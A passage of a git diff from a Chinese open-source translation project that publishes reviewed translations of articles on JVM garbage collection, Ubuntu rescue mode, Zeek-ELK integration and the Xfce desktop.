Stunning Looking Music Player for Linux That Just Plays Music and Nothing Else.md rename to published/202206/20220606 Amberol is a Stunning Looking Music Player for Linux That Just Plays Music and Nothing Else.md diff --git a/translated/tech/20220607 How Garbage Collection works inside a Java Virtual Machine.md b/published/202206/20220607 How Garbage Collection works inside a Java Virtual Machine.md similarity index 68% rename from translated/tech/20220607 How Garbage Collection works inside a Java Virtual Machine.md rename to published/202206/20220607 How Garbage Collection works inside a Java Virtual Machine.md index e102895b7c..cd4ed74084 100644 --- a/translated/tech/20220607 How Garbage Collection works inside a Java Virtual Machine.md +++ b/published/202206/20220607 How Garbage Collection works inside a Java Virtual Machine.md @@ -3,17 +3,16 @@ [#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14742-1.html" JVM 垃圾回收的工作原理 ====== -对于程序员来说,掌握 Java 的内存管理机制并不是必须的,但它能够帮助你更好地理解 JVM 是如何处理程序中的变量和类实例的。 -![咖啡豆][1] +![](https://img.linux.net.cn/data/attachment/album/202206/22/094238qvh45pv2jtpde9td.jpg) -图源:Pixabay. CC0. +> 对于程序员来说,掌握 Java 的内存管理机制并不是必须的,但它能够帮助你更好地理解 JVM 是如何处理程序中的变量和类实例的。 Java 之所以能够如此流行,自动 垃圾回收Garbage Collection(GC)功不可没,它也是 Java 最重要的几个特性之一。在这篇文章中,我将说明为什么垃圾回收如此重要。本文的主要内容为:自动的分代垃圾回收、JVM 划分内存的依据,以及 JVM 垃圾回收的工作原理。 @@ -21,10 +20,10 @@ Java 之所以能够如此流行,自动 垃圾回收Garbage Collecti Java 程序的内存空间被划分为以下四个区域: -1. 堆区(Heap):对象实例就是在这个区域分配的。不过,当我们声明一个对象时,堆中不会有任何内存分配发生,只是在栈中创建了一个对象的引用而已。 -2. 栈区(Stack):方法、局部变量和类的实例变量就是在这个区域分配的。 -3. 代码区(Code):这个区域存放了程序的字节码。 -4. 静态区(Static):这个区域存放了程序的静态数据和静态方法。 +1. 堆区Heap:对象实例就是在这个区域分配的。不过,当我们声明一个对象时,堆中不会发生任何内存分配,只是在栈中创建了一个对象的引用而已。 +2. 栈区Stack:方法、局部变量和类的实例变量就是在这个区域分配的。 +3. 代码区Code:这个区域存放了程序的字节码。 +4. 静态区Static:这个区域存放了程序的静态数据和静态方法。 ### 什么是自动垃圾回收? @@ -34,13 +33,13 @@ Java 程序的内存空间被划分为以下四个区域: 垃圾回收的基本步骤如下: -#### 1. 标记已使用和未使用的对象 +#### 1、标记已使用和未使用的对象 在这一步骤中,已使用和未使用的对象会被分别做上标记。这是一个及其耗时的过程,因为需要扫描内存中的所有对象,才能够确定它们是否正在被使用。 ![标记已使用和未使用的对象][2] -#### 2. 扫描/删除对象 +#### 2、扫描/删除对象 有两种不同的扫描和删除算法: @@ -62,56 +61,56 @@ Java 程序的内存空间被划分为以下四个区域: 为了提升垃圾回收中的“标记清除”的效率,JVM 将对内存划分成以下三个“代”: -* 年轻代 -* 老年代 -* 永久代 +* 新生代Young Generation +* 老年代Old Generation +* 永久代Permanent Generation ![Hotspot 堆内存结构][5] 下面我将介绍每个“代”及其主要特征。 -#### 年轻代 +#### 新生代 -所有创建不久的对象都存放在这里。年轻代被进一步分为以下两个区域: +所有创建不久的对象都存放在这里。新生代被进一步分为以下两个区域: -1. 伊甸区(Eden):所有新创建的对象都在此处分配内存。 -2. 幸存者区(Survivor,分为 S0 和 S1):经历过一次垃圾回收后,仍然存活的对象会被移动到两个幸存者区中的一个。 +1. 伊甸区Eden:所有新创建的对象都在此处分配内存。 +2. 幸存者区Survivor,分为 S0 和 S1:经历过一次垃圾回收后,仍然存活的对象会被移动到两个幸存者区中的一个。 ![对象分配][6] -在年轻代发生的分代垃圾回收被称为 “Minor GC”。Minor GC 过程中的每个阶段都是“停止世界Stop The World”(STW)的,这会导致其他应用程序暂停运行,直到垃圾回收结束。这也是 Minor GC 更快的原因。 +在新生代发生的分代垃圾回收被称为 “次要回收Minor GC”(LCTT 译注:也称为“新生代回收Young GC”)。Minor GC 过程中的每个阶段都是“停止世界Stop The World”(STW)的,这会导致其他应用程序暂停运行,直到垃圾回收结束。这也是次要回收更快的原因。 一句话总结:伊甸区存放了所有新创建的对象,当它的可用空间被耗尽,第一次垃圾回收就会被触发。 ![填充伊甸区][7] -Minor GC:在该垃圾回收过程中,所有存活和死亡的对象都会被做上标记。其中,存活对象会被移动到 S0 幸存者区。当所有存活对象都被移动到了 S0,未被引用的对象就会被删除。 +次要回收:在该垃圾回收过程中,所有存活和死亡的对象都会被做上标记。其中,存活对象会被移动到 S0 幸存者区。当所有存活对象都被移动到了 S0,未被引用的对象就会被删除。 ![拷贝被引用的对象][8] -S0 中的对象年龄为 1,因为它们挺过了一次 Minor GC。此时,伊甸区和 S1 都是空的。 +S0 中的对象年龄为 1,因为它们挺过了一次次要回收。此时,伊甸区和 S1 都是空的。 -每当完成清理后,伊甸区就会再次接受新的存活对象。随着时间的推移,伊甸区和 S0 中的某些对象被宣判死亡(不再被引用),并且伊甸区的可用空间也再次耗尽(填满了),那么 Minor GC 又将再次被触发。 +每当完成清理后,伊甸区就会再次接受新的存活对象。随着时间的推移,伊甸区和 S0 中的某些对象被宣判死亡(不再被引用),并且伊甸区的可用空间也再次耗尽(填满了),那么次要回收 又将再次被触发。 ![对象年龄增长][9] -这一次,伊甸区和 S0 中的死亡和存活的对象会被做上标记。其中,伊甸区的存活对象会被移动到 S1,并且年龄增加至 1。S0 中的存活对象也会被移动到 S1,并且年龄增加至 2(因为它们挺过了两次 Minor GC)。此时,伊甸区和 S0 又是空的了。每次 Minor GC 之后,伊甸区和两个幸存者区中的一个都会是空的。 +这一次,伊甸区和 S0 中的死亡和存活的对象会被做上标记。其中,伊甸区的存活对象会被移动到 S1,并且年龄增加至 1。S0 中的存活对象也会被移动到 S1,并且年龄增加至 2(因为它们挺过了两次次要回收)。此时,伊甸区和 S0 又是空的了。每次次要回收之后,伊甸区和两个幸存者区中的一个都会是空的。 -新对象总是在伊甸区被创建,周而复始。当下一次垃圾回收发生时,伊甸区和 S1 都会被清理,它们中的存活对象会被移动到 S0 区。每次 Minor GC 之后,这两个幸存者区(S0 和 S1)就会交换一次。 +新对象总是在伊甸区被创建,周而复始。当下一次垃圾回收发生时,伊甸区和 S1 都会被清理,它们中的存活对象会被移动到 S0 区。每次次要回收之后,这两个幸存者区(S0 和 S1)就会交换一次。 ![额外年龄增长][10] 这个过程会一直进行下去,直到某个存活对象的年龄达到了某个阈值,然后它就会被移动到一个叫做“老年代”的地方,这是通过一个叫做“晋升”的过程来完成的。 -使用 `-Xmn` 选项可以设置年轻代的大小。 +使用 `-Xmn` 选项可以设置新生代的大小。 ### 老年代 -这个区域存放着那些挺过了许多次 Minor GC,并且达到了某个年龄阈值的对象。 +这个区域存放着那些挺过了许多次次要回收,并且达到了某个年龄阈值的对象。 ![晋升][11] -在上面这个示例图表中,晋升的年龄阈值为 8。在老年代发生的垃圾回收被称为 “Major GC”。 +在上面这个示例图表中,晋升的年龄阈值为 8。在老年代发生的垃圾回收被称为 “主要回收Major GC”。(LCTT 译注:也被称为“全回收Full GC”) 使用 `-Xms` 和 `-Xmx` 选项可以分别设置堆内存大小的初始值和最大值。(LCTT 译注:结合上面的 `-Xmn` 选项,就可以间接设置老年代的大小了。) @@ -123,13 +122,13 @@ S0 中的对象年龄为 1,因为它们挺过了一次 Minor GC。此时,伊 #### 元空间 -Java 8 引入了元空间,并用它替换了永久代。这么做的好处是自动调整大小,避免了 内存不足OutOfMemory(OOM)错误。 +Java 8 引入了元空间Metaspace,并用它替换了永久代。这么做的好处是自动调整大小,避免了 内存不足OutOfMemory(OOM)错误。 ### 总结 本文讨论了各种不同的 JVM 内存“代”,以及它们是如何在分代垃圾回收算法中起作用的。对于程序员来说,掌握 Java 的内存管理机制并不是必须的,但它能够帮助你更好地理解 JVM 处理程序中的变量和类实例的方式。这种理解使你能够规划和排除代码故障,并理解特定平台固有的潜在限制。 -正文配图来自:Jayashree Huttanagoudar,CC BY-SA 4.0 +*正文配图来自:Jayashree Huttanagoudar,CC BY-SA 4.0* -------------------------------------------------------------------------------- @@ -138,7 +137,7 @@ via: https://opensource.com/article/22/6/garbage-collection-java-virtual-machine 作者:[Jayashree Huttanagoudar][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/translated/tech/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md b/published/202206/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md similarity index 53% rename from translated/tech/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md rename to published/202206/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md index 86f542b747..c618877834 100644 --- a/translated/tech/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md +++ b/published/202206/20220607 How to Boot Ubuntu 22.04 into Rescue - Emergency Mode.md @@ -3,65 +3,68 @@ [#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" [#]: collector: "lkxed" [#]: translator: "geekpi" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14750-1.html" 如何启动 Ubuntu 22.04 进入救援/紧急模式 ====== -极客们好,将 Ubuntu 22.04(Jammy Jellyfish)启动到救援和紧急模式有助于重置忘记的用户密码,修复文件系统错误以及在启动过程中禁用或启用 systemd 服务。 + +![](https://img.linux.net.cn/data/attachment/album/202206/24/101647n4nru1ayaw4nrnue.jpg) + +极客们好,将 Ubuntu 22.04(Jammy Jellyfish)启动到救援Rescue紧急Emergency模式可以重置忘记的用户密码、修复文件系统错误,以及在启动过程中禁用或启用 systemd 服务。 在这篇文章中,我们将学习如何启动 Ubuntu 22.04 LTS 系统进入救援和应急模式。救援模式类似于单用户模式,所有的故障排除步骤都在这里进行。救援模式加载最小的环境并挂载根文件系统。 -而在紧急模式下,我们得到的是单用户 shell,而不启动任何系统服务。因此,当我们无法启动系统进入救援模式时,就需要紧急模式。 +而在紧急模式下,我们得到的是单用户 Shell,而不启动任何系统服务。因此,当我们无法启动系统进入救援模式时,就需要紧急模式。 ### 启动 Ubuntu 22.04 进入救援或单用户模式 -前往你想启动到救援或单用户模式的目标系统。在启动时按下 “SHIFT+ESC” 键,进入 grub bootloader 页面。 +前往你想启动到救援或单用户模式的目标系统。在启动时按下 `SHIFT + ESC` 键,进入 GRUB 引导加载器页面。 ![Default-Grub-Screen-Ubuntu-22-04][1] -选择第一个选项 Ubuntu,并按 “e” 键进入编辑模式。 +选择第一个选项 “Ubuntu”,并按 `e` 键进入编辑模式。 -在以 linux 开头的一行末尾,删除字符串 “$vt_handoff” 并添加字符串 “systemd.unit=rescue.target”。 +在以 `linux` 开头的一行末尾,删除字符串 `$vt_handoff` 并添加字符串 `systemd.unit=rescue.target`。 ![rescue-target-ubuntu-22-04][2] -做完修改后,按 Ctrl+x 或 F10 在救援模式下启动。 +做完修改后,按 `Ctrl + X` 或 `F10` 在救援模式下启动。 ![Troubleshooting-Commands-in-Rescue-Mode][3] -进入救援模式后,运行所有的故障排除命令,并运行 “systemctl reboot” 命令来重启系统。 +进入救援模式后,运行所有的故障排除命令,并运行 `systemctl reboot` 命令来重启系统。 ### 另一种启动系统进入救援模式的方法 -重新启动系统并按下 “ESC+Shift” 键,进入 grub 启动界面。 +重新启动系统并按下 `ESC + Shift` 键,进入 GRUB 启动界面。 -选择第二个选项 “Advanced Options for Ubuntu”->选择恢复模式选项并点击回车->选择 Root(进入 root shell 提示)。 +选择第二个选项 “Ubuntu 高级选项Advanced Options for Ubuntu”->选择“恢复模式recovery mode”选项并点击回车->选择 root(进入 root shell 提示符)root (Drop to root shell prompt)。 -下面是一个例子 +下面是一个例子: ![Boot-Ubuntu-22-04-Rescue-Mode][4] -当你有了 root shell,运行命令来恢复和修复系统问题,最后使用 “systemctl reboot” 来重启系统。 +当你有了 root Shell,运行命令来恢复和修复系统问题,最后使用 `systemctl reboot` 来重启系统。 ### 引导 Ubuntu 22.04 进入紧急模式 -要启动系统进入紧急模式,首先进入 grub 页面。 +要启动系统进入紧急模式,首先进入 GRUB 页面。 ![Default-Grub-Screen-Ubuntu-22-04][5] -选择第一个选项 “Ubuntu” 并按 “e” 键进行编辑。寻找以 linux 开头的一行,移到该行的末尾,删除字符串 $vt_handoff 并添加字符串 “systemd.unit=emergency.target”。 +选择第一个选项 “Ubuntu” 并按 `e` 键进行编辑。寻找以 `linux` 开头的一行,移到该行的末尾,删除字符串 `$vt_handoff` 并添加字符串 `systemd.unit=emergency.target`。 ![Emergency-Mode-Ubuntu-22-04][6] -按 Ctrl+x 或 F10 将系统启动到紧急模式。 +按 `Ctrl + X` 或 `F10` 将系统启动到紧急模式。 ![Command-in-Emergency-Mode-Ubuntu-22-04][7] -同样,在救援模式下,你可以在这个模式下执行所有的故障排除,完成后,就用 “systemctl reboot” 命令重启系统。 +同样,在紧急模式下,你可以在这个模式下执行所有的故障排除,完成后,就用 `systemctl reboot` 命令重启系统。 -这篇文章的内容就这些。我发现它内容丰富,不要犹豫,在你的技术朋友中分享这个。请在下面的评论区发表你的疑问和反馈。 +这篇文章的内容就这些。文章内容丰富,不要犹豫,请在你的技术朋友中分享它。请在下面的评论区发表你的疑问和反馈。 -------------------------------------------------------------------------------- @@ -70,7 +73,7 @@ via: https://www.linuxtechi.com/boot-ubuntu-22-04-rescue-emergency-mode/ 作者:[Pradeep Kumar][a] 选题:[lkxed][b] 译者:[geekpi](https://github.com/geekpi) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/202206/20220607 Integrating Zeek with ELK Stack.md b/published/202206/20220607 Integrating Zeek with ELK Stack.md new file mode 100644 index 0000000000..ab63c0ad30 --- /dev/null +++ b/published/202206/20220607 Integrating Zeek with ELK Stack.md @@ -0,0 +1,143 @@ +[#]: subject: "Integrating Zeek with ELK Stack" +[#]: via: "https://www.opensourceforu.com/2022/06/integrating-zeek-with-elk-stack/" +[#]: author: "Tridev Reddy https://www.opensourceforu.com/author/tridev-reddy/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14770-1.html" + +将 Zeek 与 ELK 栈集成 +====== + +> Zeek 是一个开源的网络安全监控工具。本文讨论了如何将 Zeek 与 ELK 集成。 + +![](https://img.linux.net.cn/data/attachment/album/202206/28/164550v4nuk3g7ux77y77v.jpg) + +在本杂志 2022 年 3 月版发表的题为“用 Zeek 轻松实现网络安全监控”的文章中,我们研究了 Zeek 的功能,并学习了如何开始使用它。现在我们将把我们的学习经验再进一步,看看如何将其与 ELK(即 Elasticsearch、Kibana、Beats 和 Logstash)整合。 + +为此,我们将使用一个叫做 Filebeat 的工具,它可以监控、收集并转发日志到 Elasticsearch。我们将把 Filebeat 和 Zeek 配置在一起,这样后者收集的数据将被转发并集中到我们的 Kibana 仪表盘上。 + +### 安装 Filebeat + +让我们首先将 Filebeat 与 Zeek 安装在一起。使用 `apt` 来安装 Filebeat,使用以下命令: + +``` +sudo apt install filebeat +``` + +接下来,我们需要配置 `.yml` 文件,它位于 `/etc/filebeat/` 文件夹中: + +``` +sudo nano /etc/filebeat/filebeat.yml +``` + +我们只需要在这里配置两件事。在 Filebeat 输入部分,将类型改为 `log`,并取消对 `enabled:false` 的注释,将其改为 `true`。我们还需要指定存储日志的路径,也就是说,我们需要指定 `/opt/zeek/logs/current/*.log`。 + +完成这些后,设置的第一部分应该类似于图 1 所示的内容。 + +![Figure 1: Filebeat config (a)][2] + +第二件要修改的事情是在输出下的 Elasticsearch 输出部分,取消对 `output.elasticsearch` 和 `hosts` 的注释。确保主机的 URL 和端口号与你安装 ELK 时配置的相似。我们把它保持为 `localhost`,端口号为 `9200`。 + +在同一部分中,取消底部的用户名和密码的注释,输入安装后配置 ELK 时生成的 Elasticsearch 用户的用户名和密码。完成这些后,参考图 2,检查设置。 + +![Figure 2: Filebeat config (b)][3] + +现在我们已经完成了安装和配置,我们需要配置 Zeek,使其以 JSON 格式存储日志。为此,确保你的 Zeek 实例已经停止。如果没有,执行下面的命令来停止它: + +``` +cd /opt/zeek/bin +./zeekctl stop +``` + +现在我们需要在 `local.zeek` 中添加一小行,它存在于 `opt/zeek/share/zeek/site/` 目录中。 + +以 root 身份打开该文件,添加以下行: + +``` +@load policy/tuning/json-logs.zeek +``` + +参考图 3,确保设置正确。 + +![Figure 3: local.zeek file][4] + +由于我们改变了 Zeek 的一些配置,我们需要重新部署它,这可以通过执行以下命令来完成: + +``` +cd /opt/zeek/bin +./zeekctl deploy +``` + +现在我们需要在 Filebeat 中启用 Zeek 模块,以便它转发 Zeek 的日志。执行下面的命令: + +``` +sudo filebeat modules enable zeek +``` + +我们几乎要好了。在最后一步,配置 `zeek.yml` 文件要记录什么类型的数据。这可以通过修改 `/etc/filebeat/modules.d/zeek.yml` 文件完成。 + +在这个 .yml 文件中,我们必须提到这些指定的日志存放在哪个目录下。我们知道,这些日志存储在当前文件夹中,其中有几个文件,如 `dns.log`、`conn.log`、`dhcp.log` 等等。我们需要在每个部分提到每个路径。如果而且只有在你不需要该文件/程序的日志时,你可以通过把启用值改为 `false` 来舍弃不需要的文件。 + +例如,对于 `dns`,确保启用值为 `true`,并且路径被配置: + +``` +var.paths: [ “/opt/zeek/logs/current/dns.log”, “/opt/zeek/logs/*.dns.json” ] +``` + +对其余的文件重复这样做。我们对一些我们需要的文件做了这个处理。我们添加了所有主要需要的文件。你也可以这样做。请参考图 4。 + +![Figure 4: zeek.yml configuration][5] + +现在是启动 Filebeat 的时候了。执行以下命令: + +``` +sudo filebeat setup +sudo service filebeat start +``` + +现在一切都完成了,让我们移动到 Kibana 仪表板,检查我们是否通过 Filebeat 接收到来自 Zeek 的数据。 + +![Figure 5: Dashboard of Kibana (Destination Geo)][6] + +进入仪表板。你可以看到它所捕获的数据的清晰统计分析(图 5 和图 6)。 + +![Figure 6: Dashboard of Kibana (Network)][7] + +现在让我们进入发现选项卡,通过使用查询进行过滤来检查结果: + +``` +event.module: "zeek" +``` + +这个查询将过滤它在一定时间内收到的所有数据,只向我们显示名为 Zeek 的模块的数据(图 7)。 + +![Figure 7: Filtered data by event.module query][8] + +### 鸣谢 + +*作者感谢 VIT-AP 计算机科学与工程学院的 Sibi Chakkaravarthy Sethuraman、Sudhakar Ilango、Nandha Kumar R.和Anupama Namburu 的不断指导和支持。特别感谢人工智能和机器人技术卓越中心(AIR)。* + + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/integrating-zeek-with-elk-stack/ + +作者:[Tridev Reddy][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/tridev-reddy/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Integrating-Zeek-with-ELK-Stack-Featured-image.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Filebeat-config-a.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-Filebeat-config-b.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-local.zeek-file-1.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-zeek.yml-configuration.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-Dashboard-of-Kibana-Destination-Geo.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Dashboard-of-Kibana-Network-1.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Filtered-data-by-event.jpg diff --git a/published/20220607 Linux Kernel 5.19 RC1 Released, Concluding ARM Generic Kernel Work.md b/published/202206/20220607 Linux Kernel 5.19 RC1 Released, Concluding ARM Generic Kernel Work.md similarity index 100% rename from published/20220607 Linux Kernel 5.19 RC1 Released, Concluding ARM Generic Kernel Work.md rename to published/202206/20220607 Linux Kernel 5.19 RC1 Released, Concluding ARM Generic Kernel Work.md diff --git a/published/20220607 OpenInfra Foundation Launches -directed funding- To Support Open Source Projects.md b/published/202206/20220607 OpenInfra Foundation Launches -directed funding- To Support Open Source Projects.md similarity index 100% rename from published/20220607 OpenInfra Foundation Launches -directed funding- To Support Open Source Projects.md rename to published/202206/20220607 OpenInfra Foundation Launches -directed funding- To Support Open Source Projects.md diff --git a/translated/tech/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md b/published/202206/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md similarity index 53% rename from translated/tech/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md rename to published/202206/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md index 4a57309b06..428b8d4814 100644 --- a/translated/tech/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md +++ b/published/202206/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md @@ -3,41 +3,44 @@ [#]: author: "Jim Hall https://opensource.com/users/jim-hall" [#]: collector: "lkxed" [#]: translator: "lightchaserhy" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14735-1.html" -我如何利用 Linux Xface 桌面赋予旧电脑新生命 +我如何利用 Xfce 桌面为旧电脑赋予新生 ====== -当我为了一场会议的样例演示,用笔记本电脑安装 Linux 系统后,发现旧电脑运行 Linux 系统和 Xfce 桌面非常流畅。 -几周前,我要在一个会议上简要演示自己在 Linux 下编写的一款小软件。我需要带一台 Linux 笔记本电脑参会,因此我翻出一台旧笔记本电脑并且安装上 Linux 系统。我使用的是 Fedora 36 Xfce spin,使用还不错。 +![](https://img.linux.net.cn/data/attachment/album/202206/20/143325vfdibhvv22qvddiv.jpg) -这台我用的笔记本是在 2012 年购买的。1.70 GHZ 的 CPU,4 GB 的 内存,128 GB 的驱动器,也许和我现在的桌面电脑比性能很弱,但是 Linux 和 Xfce 桌面赋予这台旧电脑新的生命。 +> 当我为了在一场会议上做演示,用笔记本电脑安装 Linux 系统后,发现 Linux 和 Xfce 桌面让我的这台旧电脑健步如飞。 + +几周前,我要在一个会议上简要演示自己在 Linux 下编写的一款小软件。我需要带一台 Linux 笔记本电脑参会,因此我翻出一台旧笔记本电脑,并且安装上 Linux 系统。我使用的是 Fedora 36 Xfce 版,使用还不错。 + +这台我用的笔记本是在 2012 年购买的。1.70 GHZ 的 CPU、4 GB 的 内存、128 GB 的硬盘,也许和我现在的桌面电脑比性能很弱,但是 Linux 和 Xfce 桌面赋予了这台旧电脑新的生命。 ### Linux 的 Xfce 桌面 -Xfce 桌面是一个轻量级桌面,它提供一个精美、现代的外观。熟悉的界面,有任务栏或者顶部“面板”可以启动应用程序,在系统托盘可以改变虚拟桌面,或者查看通知信息。 +Xfce 桌面是一个轻量级桌面,它提供一个精美、现代的外观。熟悉的界面,有任务栏或者顶部“面板”可以启动应用程序,在系统托盘可以改变虚拟桌面,或者查看通知信息。屏幕底部的快速访问停靠区让你可以启动经常使用的应用程序,如终端、文件管理器和网络浏览器。 ![Image of Xfce desktop][6] -要开始一个新应用程序,点击左上角的应用程序按钮。这将打开一个应用程序启动菜单,顶部有常用的应用程序比如终端和文件管理。另外的应用程序会分组排列,这样你可以找到所需要的应用。 +要开始一个新应用程序,点击左上角的应用程序按钮。这将打开一个应用程序启动菜单,顶部有常用的应用程序,比如终端和文件管理。其它的应用程序会分组排列,这样你可以找到所需要的应用。 ![Image of desktop applications][7] ### 管理文件 -Xfce 的文件管理器时叫 Thunar,它能非常好地管理我的文件。我喜欢 Thunar 可以连接远程系统,在家里,我用一个开启 SSH 的树莓派作为个人文件服务器。Thunar 可以打开一个 SSH 文件传输窗口,这样我可以在笔记本电脑和树莓派之间拷贝文件。 +Xfce 的文件管理器时叫 Thunar,它能很好地管理我的文件。我喜欢 Thunar 可以连接远程系统,在家里,我用一个开启 SSH 的树莓派作为个人文件服务器。Thunar 可以打开一个 SSH 文件传输窗口,这样我可以在笔记本电脑和树莓派之间拷贝文件。 ![Image of Thunar remote][9] -另一个访问文件和文件夹的方式是通过屏幕底部的快速访问停靠栏。点击文件夹图标可以打开一个常规操作菜单,如在终端窗口打开一个文件夹、新建一个文件夹或进入指定文件夹等。 +另一个访问文件和文件夹的方式是通过屏幕底部的快速访问停靠区。点击文件夹图标可以打开一个常用操作的菜单,如在终端窗口打开一个文件夹、新建一个文件夹或进入指定文件夹等。 ![Image of desktop with open folders][10] ### 其它应用程序 -我热爱探索 Xfce 提供的其他应用程序。Mousepad 看起来像一个简单的文本编辑器,但是比起纯文本编辑,它包含更多有用的功能。Mousepad 支持许多文件类型,程序员和其他高级用户也许会非常喜欢。在文档菜单检验一下可用的部分编程语言列表。 +我喜欢探索 Xfce 提供的其他应用程序。Mousepad 看起来像一个简单的文本编辑器,但是比起纯文本编辑,它包含更多有用的功能。Mousepad 支持许多文件类型,程序员和其他高级用户也许会非常喜欢。可以在文档菜单中查看一下部分编程语言的列表。 ![Image of Mousepad file types][11] @@ -46,21 +49,20 @@ Xfce 的文件管理器时叫 Thunar,它能非常好地管理我的文件。 ![Image of Mousepad in color scheme solarized][12] 磁盘工具可以让你管理储存设备。虽然我不需要修改我的系统磁盘,磁盘工具是一个初始化或重新格式化 USB 闪存设备的好方式。我认为这个界面非常简单好用。 + ![Image of disk utility][13] -我非常钦佩带有 Geany 集成开发的环境,我有一点惊讶一个旧系统可以如此流畅地运行一个完整的 IDE 开发软件。 +Geany 集成开发环境也给我留下了深刻印象,我有点惊讶于一个完整的集成开发软件(IDE)可以在一个旧系统可以如此流畅地运行。Geany 宣称自己是一个“强大、稳定和轻量级的程序员文本编辑器,提供大量有用的功能,而不会拖累你的工作流程”。而这正是 Geany 所提供的。 -我用一个简单的 “hello world” 程序测试 Geany,当我输入每一个函数名称时,很高兴地看到 IDE 弹出语法帮助,弹出的信息并不唐突且刚好提供了我需要的信息。同时 printf 函数非常容易记住,我总是忘记其它函数的选项顺序,比如 fputs 和 realloc,这就是我需要弹出语法帮助的地方。 +我用一个简单的 “hello world” 程序测试 Geany,当我输入每一个函数名称时,很高兴地看到 IDE 弹出语法帮助,弹出的信息并不特别显眼,且刚好提供了我需要的信息。虽然我能很容易记住 `printf` 函数,但总是忘记诸如 `fputs` 和 `realloc` 之类的函数的选项顺序,这就是我需要弹出语法帮助的地方。 ![Image of Geany workspace][14] -在 Xfce 里探索菜单寻找其它应用程序让你的工作更简单,你将找到可以播放音乐、访问终端或浏览网页的应用程序。 +深入了解 Xfce 的菜单,寻找其它应用程序,让你的工作更简单,你将找到可以播放音乐、访问终端或浏览网页的应用程序。 -当我安装 Linux 到笔记本电脑,在会议上演示一些样例后,发现 Linux 和 Xfce 桌面让这台旧电脑变得更时尚。这个系统运行得如此流畅,当会议结束后,我决定把这台笔记本电脑作为备用机。 +当我在笔记本电脑上安装了 Linux,在会议上做了一些演示后,我发现 Linux 和 Xfce 桌面让这台旧电脑变得相当敏捷。这个系统运行得如此流畅,以至于当会议结束后,我决定把这台笔记本电脑作为备用机。 -我喜爱在 Xfce 上使用应用程序工作,尽管它有非常低的系统开销和极简单的方法,但我并没有感觉到不够用,我可以用 Xfce 和上面的应用程序做任何事情。如果你有一台需要翻新的旧电脑,试试安装 Linux,给旧硬件带来新的生命。 - -图片来源: (Jim Hall, CC BY-SA 40) +我确实喜欢在 Xfce 中工作和使用这些应用程序,尽管系统开销不大,使用也很简单,但我并没有感觉到不够用,我可以用 Xfce 和上面的应用程序做任何事情。如果你有一台需要翻新的旧电脑,试试安装 Linux,给旧硬件带来新的生命。 -------------------------------------------------------------------------------- @@ -69,7 +71,7 @@ via: https://opensource.com/article/22/6/linux-xfce-old-laptop 作者:[Jim Hall][a] 选题:[lkxed][b] 译者:[lightchaserhy](https://github.com/lightchaserhy) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/20220609 Cloudflare Has Something New to Replace Annoying CAPTCHAs on the Internet.md b/published/202206/20220609 Cloudflare Has Something New to Replace Annoying CAPTCHAs on the Internet.md similarity index 100% rename from published/20220609 Cloudflare Has Something New to Replace Annoying CAPTCHAs on the Internet.md rename to published/202206/20220609 Cloudflare Has Something New to Replace Annoying CAPTCHAs on the Internet.md diff --git a/translated/tech/20220609 Edit PDFs on Linux with these open source tools.md b/published/202206/20220609 Edit PDFs on Linux with these open source tools.md similarity index 78% rename from translated/tech/20220609 Edit PDFs on Linux with these open source tools.md rename to published/202206/20220609 Edit PDFs on Linux with these open source tools.md index 03ed204126..50d82225cc 100644 --- a/translated/tech/20220609 Edit PDFs on Linux with these open source tools.md +++ b/published/202206/20220609 Edit PDFs on Linux with these open source tools.md @@ -3,27 +3,26 @@ [#]: author: "Michael Korotaev https://opensource.com/users/michaelk" [#]: 